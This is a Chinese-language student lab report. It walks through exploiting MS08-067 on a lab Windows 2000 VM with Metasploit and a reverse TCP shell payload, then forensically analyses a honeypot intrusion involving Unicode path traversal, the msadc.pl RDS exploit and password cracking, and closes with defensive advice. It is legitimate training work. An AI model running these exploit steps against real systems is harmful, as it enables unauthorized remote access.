1.实践内容
1.1 实践任务
1.1.1 动手实践Metasploit windows attacker
任务:使用metasploit软件进行windows远程渗透统计实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
1.1.2 取证分析实践:解码一次成功的NT系统破解攻击
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击;
攻击者如何使用这个破解工具进入并控制了系统;
攻击者获得系统访问权限后做了什么;
我们如何防止这样的攻击;
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么。
1.1.3 团队对抗实践:windows系统远程渗透攻击和分析
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
1.2 Windows的安全机制
身份验证是用于验证对象或个人身份的过程。对对象进行身份验证时,目标是验证该对象是真实的。在对某人进行身份验证时,目标是验证该人不是冒名顶替者。
在网络环境中,身份验证是向网络应用程序或资源证明身份的行为。通常,通过使用仅用户知道的密钥(如公共密钥密码学)或共享密钥的加密操作来证明身份。身份验证交换的服务器端将签名的数据与已知的加密密钥进行比较,以验证身份验证尝试。
Windows操作系统实现了一组默认的身份验证协议,包括Kerberos、NTLM、传输层安全性/安全套接字层(TLS / SSL)和摘要,作为可扩展体系结构的一部分。此外,某些协议被组合到身份验证包中,例如“协商”和“凭据安全支持提供程序”。这些协议和软件包可对用户,计算机和服务进行身份验证。身份验证过程进而使授权用户和服务能够以安全的方式访问资源。
当用户在凭据输入对话框中输入凭据时,登录过程就会开始。用户可以通过使用本地用户帐户或域帐户登录到计算机来执行交互式登录。
2.实践过程
2.1 动手实践Metasploit windows attacker
虚拟机 | IP地址 |
---|---|
kali | 192.168.200.246 |
win2k | 192.168.200.124 |
1、首先在kali虚拟机中打开metasploit。输入指令msfconsole:
2、接着输入指令:search ms08_067 搜索ms08_067漏洞情况:
输入命令use windows/smb/ms08_067_netapi,将ms08_067作为目标漏洞:
输入指令show payloads,可以看到用于渗透攻击的路径:
3.输入指令: set payload generic/shell_reverse_tcp 设置攻击的载荷为tcp的反向连接:
输入指令:show options,展示渗透攻击需要设置的参数:
4.输入 show targets指令,可以展示渗透攻击的靶机的操作系统及版本:
5.输入指令:set LHOST 192.168.200.246 设置渗透攻击的主机是kali虚拟机:
输入指令:set RHOST 192.168.200.124设置渗透攻击的靶机是Win2k虚拟机:
6、输入 指令exploit ,开始渗透攻击:
输入指令ipconfig查看靶机自己的IP地址,攻击成功。
2.2 取证分析实践:解码一次成功的NT系统破解攻击
1.用wireshark打开学习通上的.log文件(将学习通的.log文件粘贴到kali):
往下拉可以看到攻击机与靶机在TCP"三次握手"后建立了连接,同时发现靶机的操作系统为windows NT 5.0。
右键选择follow–>TCP stream,跟踪此数据包的cpu数据流,发现攻击者打开了系统启动文件"boot.ini",这里有%C0%AF字符,%C0%AF为/的Unicode编码,这里是Unicode编码攻击:
继续往下找,对No.149追踪tcp流,看到出现了类似于shell(“cmd /c echo”)的字符,说明攻击者通过shell指令对目标进行操作,进一步分析得知,还利用了RDS漏洞允许任意代码执行的缺陷进行了操作
问1:攻击者使用了什么破解工具进行攻击?
上述指令均采用了Microsoft Access Driver (*.mdb)的驱动,使用了c:\winnt\help\iis\htm\tutorial\btcustmr.mdb这个dbq文件。根据ADM!ROX!YOUR!WORLD这个特征字符串,查询得知攻击者应该是利用了由rain forest puppy所编写的 msadc(2).pl渗透攻击代码发起的攻击。
问2:攻击者如何使用这个破解工具进入并控制了系统?
观察发现,每一次的攻击时间都很短,可见攻击者应该是先将指令写入了shell脚本,然后将这个脚本与msadc.pl攻击脚本一起执行的。
攻击者打开主机后,使用FTP的方式下载文件,使用samdunp拿到口令,再利用pdump.exe破解。在第四次破解,也就是打开IP地址为213.116.251.162的主机后,攻击者成功拿到了访问权限。
问3:攻击者获得系统访问权限后做了什么?
攻击者获得了IWAM_KENNY和IUSR_KENNY的账号,并试图获取本地Administrator用户权限。
为此,攻击者将破解的口令写入了yay.txt中,将用户写入到hec.txt文件中。还试图删除和拷贝har.txt文件。
问4:我们如何防止这样的攻击?
①禁用不需要的服务和端口;
②可以打开自动更新,及时更新和打补丁;
③防火墙封禁网络内部服务器发起的连接;
④使用 IIS Lockdown 和 URLScan 等工具加强 web server;
⑤设置强口令,增大破解口令的难度;
⑥定期检测以及修复漏洞,及时安装补丁。
问5:你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
可以认为攻击者警觉了他的目标是一台蜜罐主机
2.3 团队对抗实践:windows系统远程渗透攻击和分析
在进行这部分实验时用到的攻击机和靶机IP地址:
攻击机:192.168.31.156
靶机:192.168.31.45
1.将ms08_067作为漏洞进行攻击。
3.可以看到靶机里对应生成文件:
3.学习中遇到的问题及解决
- 问题1:执行exploit命令后提示:Exploit failed [unreachable]: Rex:: HostUnreachable The host was unreachable. 或 Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.168.244.133:445) timed out.
- 问题1解决方案:靶机和攻击机没在一个网段内,更改后ping成功。
- 问题2:set LHOST设置的是攻击主机的地址;set RHOST设置的是靶机的地址,要注意区分。
4.实践总结
本次实践主要学习了Windows的安全机制,以及渗透攻击的攻击过程,但是还有很多王老师的要求可能没有实现完全,这方面知识水平欠缺,我也会找时间弥补自己的缺漏。